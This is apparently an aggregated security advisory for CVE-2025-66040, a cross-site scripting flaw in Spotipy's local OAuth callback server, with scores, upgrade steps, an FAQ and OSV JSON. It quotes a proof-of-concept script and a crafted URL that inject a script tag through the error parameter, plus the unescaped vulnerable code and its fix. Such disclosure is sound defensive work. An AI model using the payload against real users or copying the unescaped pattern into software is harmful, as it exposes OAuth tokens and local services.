CVE-2025-66040: Spotipy Cross-Site Scripting Vulnerability

LOW
Advisory Identifier: GHSA-r77h-rpp9-w2xm
CVSS 3.6
CWE-79
Published
Advisory Summary

CVE-2025-66040 is a LOW (CVSS 3.6) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Spotipy libraries in the PyPI ecosystem. The issue involves spotipy has a xss vulnerability in its oauth callback server. Remediation is available by upgrading affected packages to version 2.25.2.

CVE-2025-66040 at a Glance

CVE Identifier CVE-2025-66040
GHSA Identifier GHSA-r77h-rpp9-w2xm
Severity LOW
CVSS v3.1 Base Score 3.6
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Spotipy
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 3.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-66040

To remediate this vulnerability, upgrade all affected Spotipy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

spotipy fixed: 2.25.2
pip install spotipy>=2.25.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show spotipy

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-66040, inspect your installed packages using pip:

pip show spotipy

Analyze the terminal output to locate any version of Spotipy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.25.2), your application is affected.

Note: The pip show spotipy command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Spotipy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication. ### Details **Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET) **The Problem:** During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization. **Vulnerable code at line 1255:** ```python status = f"failed ({self.server.error})" ``` **Then embedded in HTML at line 1265:** ```python self._write(f"""<html> <body> <h1>Authentication status: {status}</h1> </body> </html>""") ``` The `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection. **Attack Flow:** 1. User starts OAuth authentication → local server runs on `http://127.0.0.1:8080` 2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x` 3. User visits URL → JavaScript executes in localhost origin ### PoC **Simple Python Test:** ```python #!/usr/bin/env python3 # poc_xss.py - Demonstrates XSS in spotipy OAuth callback import requests from spotipy.oauth2 import start_local_http_server import threading import time # Start vulnerable server in background def start_server(): server = start_local_http_server(8080) server.handle_request() thread = threading.Thread(target=start_server, daemon=True) thread.start() time.sleep(2) # Send XSS payload payload = '<script>alert("XSS")</script>' url = f'http://127.0.0.1:8080/?error={payload}&state=test' response = requests.get(url) print(f"Status: {response.status_code}") print(f"\nHTML Response:\n{response.text}") # Check if vulnerable if payload in response.text: print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!") else: print("\n[+] Safe: Payload was sanitized") ``` **Run it:** ```bash pip install spotipy requests python3 poc_xss.py ``` **Output shows:** ``` Status: 200 HTML Response: <html> <body> <h1>Authentication status: failed (<script>alert("XSS")</script>)</h1> </body> </html> [!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping! ``` **The Proof:** - Expected (safe): `&lt;script&gt;alert("XSS")&lt;/script&gt;` - Actual (vulnerable): `<script>alert("XSS")</script>` - The script tags are NOT escaped → XSS confirmed ### Impact **Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79 **Affected Users:** Anyone using spotipy's OAuth flow with localhost redirect URIs **Attack Complexity:** Medium-High - Requires timing (during brief OAuth window) - Localhost-only (127.0.0.1) - Requires user interaction (click malicious link) **Potential Impact:** - Execute JavaScript in localhost origin - Access other localhost services (port scanning, API calls) - Steal data from local web applications - Extract OAuth tokens from browser storage - Bypass CSRF protections on localhost endpoints **CVSS 3.1 Score:** 4.2 (Medium) - Attack Vector: Local - Attack Complexity: High - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality/Integrity: Low **Recommended Fix:** ```python import html # Line 1255 - apply HTML escaping if self.server.error: status = f"failed ({html.escape(str(self.server.error))})" ```

CVE-2025-66040 Affected Spotipy Versions

1 component(s)
Fixed Versions:
2.25.2
Product / Package Ecosystem Affected Versions Fixed Version
spotipy
PyPI
< 2.25.2
2.25.2

References

Frequently Asked Questions

What is CVE-2025-66040?
CVE-2025-66040 is a security vulnerability in Spotipy involving Spotipy has a XSS vulnerability in its OAuth callback server under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Spotipy versions are affected?
Affected versions include releases prior to 2.25.2 across affected packages: spotipy.
What version fixes CVE-2025-66040?
Upgrading to 2.25.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is spotipy affected?
Yes, spotipy is affected in releases prior to 2.25.2. Upgrade your dependency to 2.25.2 or later.
What is the CVSS score of CVE-2025-66040?
CVE-2025-66040 has a CVSS v3.1 base score of 3.6 (LOW) with vector string CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2025-66040?
CVE-2025-66040 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2025-66040?
Run the dependency tree command: 'pip show spotipy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r77h-rpp9-w2xm",
  "modified" : "2025-12-01T19:07:26Z",
  "published" : "2025-12-01T19:07:26Z",
  "aliases" : [ "CVE-2025-66040" ],
  "summary" : "Spotipy has a XSS vulnerability in its OAuth callback server",
  "details" : "### Summary\nXSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.\n\n\n### Details\n**Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET)\n\n**The Problem:**\nDuring OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization.\n\n**Vulnerable code at line 1255:**\n```python\nstatus = f\"failed ({self.server.error})\"\n```\n\n**Then embedded in HTML at line 1265:**\n```python\nself._write(f\"\"\"<html>\n<body>\n<h1>Authentication status: {status}</h1>\n</body>\n</html>\"\"\")\n```\n\nThe `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.\n\n**Attack Flow:**\n1. User starts OAuth authentication → local server runs on `http://127.0.0.1:8080`\n2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x`\n3. User visits URL → JavaScript executes in localhost origin\n\n\n### PoC\n\n**Simple Python Test:**\n```python\n#!/usr/bin/env python3\n# poc_xss.py - Demonstrates XSS in spotipy OAuth callback\n\nimport requests\nfrom spotipy.oauth2 import start_local_http_server\nimport threading\nimport time\n\n# Start vulnerable server in background\ndef start_server():\n    server = start_local_http_server(8080)\n    server.handle_request()\n\nthread = threading.Thread(target=start_server, daemon=True)\nthread.start()\ntime.sleep(2)\n\n# Send XSS payload\npayload = '<script>alert(\"XSS\")</script>'\nurl = f'http://127.0.0.1:8080/?error={payload}&state=test'\n\nresponse = requests.get(url)\nprint(f\"Status: {response.status_code}\")\nprint(f\"\\nHTML Response:\\n{response.text}\")\n\n# Check if vulnerable\nif payload in response.text:\n    print(f\"\\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!\")\nelse:\n    print(\"\\n[+] Safe: Payload was sanitized\")\n```\n\n**Run it:**\n```bash\npip install spotipy requests\npython3 poc_xss.py\n```\n\n**Output shows:**\n```\nStatus: 200\nHTML Response:\n<html>\n<body>\n<h1>Authentication status: failed (<script>alert(\"XSS\")</script>)</h1>\n</body>\n</html>\n\n[!] VULNERABLE: Payload '<script>alert(\"XSS\")</script>' reflected without escaping!\n```\n\n**The Proof:**\n- Expected (safe): `&lt;script&gt;alert(\"XSS\")&lt;/script&gt;`\n- Actual (vulnerable): `<script>alert(\"XSS\")</script>`\n- The script tags are NOT escaped → XSS confirmed\n\n### Impact\n\n**Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79\n\n**Affected Users:** Anyone using spotipy's OAuth flow with localhost redirect URIs\n\n**Attack Complexity:** Medium-High\n- Requires timing (during brief OAuth window)\n- Localhost-only (127.0.0.1)\n- Requires user interaction (click malicious link)\n\n**Potential Impact:**\n- Execute JavaScript in localhost origin\n- Access other localhost services (port scanning, API calls)\n- Steal data from local web applications\n- Extract OAuth tokens from browser storage\n- Bypass CSRF protections on localhost endpoints\n\n**CVSS 3.1 Score:** 4.2 (Medium)\n- Attack Vector: Local\n- Attack Complexity: High\n- Privileges Required: None\n- User Interaction: Required\n- Scope: Unchanged\n- Confidentiality/Integrity: Low\n\n\n**Recommended Fix:**\n```python\nimport html\n\n# Line 1255 - apply HTML escaping\nif self.server.error:\n    status = f\"failed ({html.escape(str(self.server.error))})\"\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "spotipy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.25.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-r77h-rpp9-w2xm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-66040"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spotipy-dev/spotipy/commit/880b92d7243dcf2b83bf31dc365a858d8b5e6767"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/spotipy-dev/spotipy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-01T19:07:26Z",
    "nvd_published_at" : "2025-11-27T00:15:55Z"
  }
}